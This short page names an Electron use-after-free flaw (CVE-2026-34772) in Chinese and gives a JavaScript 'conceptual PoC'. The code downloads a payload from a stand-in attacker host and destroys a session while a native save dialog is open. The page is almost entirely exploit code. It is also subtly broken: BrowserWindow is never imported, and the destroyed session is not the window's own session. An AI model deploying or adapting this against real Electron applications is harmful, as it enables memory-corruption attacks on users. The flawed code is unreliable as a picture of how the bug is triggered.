CVE-2026-34772 Electron释放后重用漏洞

// Conceptual PoC for CVE-2026-34772 // Requires an Electron app environment const { session } = require('electron'); function triggerVulnerability() { // Assume 'sess' is an active session, e.g., from partition const sess = session.fromPartition('persist:example'); // Step 1: Trigger a download that opens a native save dialog // This usually requires user interaction or a specific webContents event const win = BrowserWindow.getFocusedWindow(); win.webContents.downloadURL('http://attacker-controlled.com/payload.bin'); // Step 2: Wait briefly for the native dialog to appear setTimeout(() => { console.log('Attempting to destroy session...'); // Step 3: Destroy the session while the dialog is likely open // This causes the UAF when the dialog is closed later by the user try { sess.destroy(); console.log('Session destroyed. Potential UAF triggered upon dialog dismissal.'); } catch (e) { console.error('Error destroying session:', e); } }, 2000); // Timing may need adjustment based on system speed } module.exports = { triggerVulnerability };
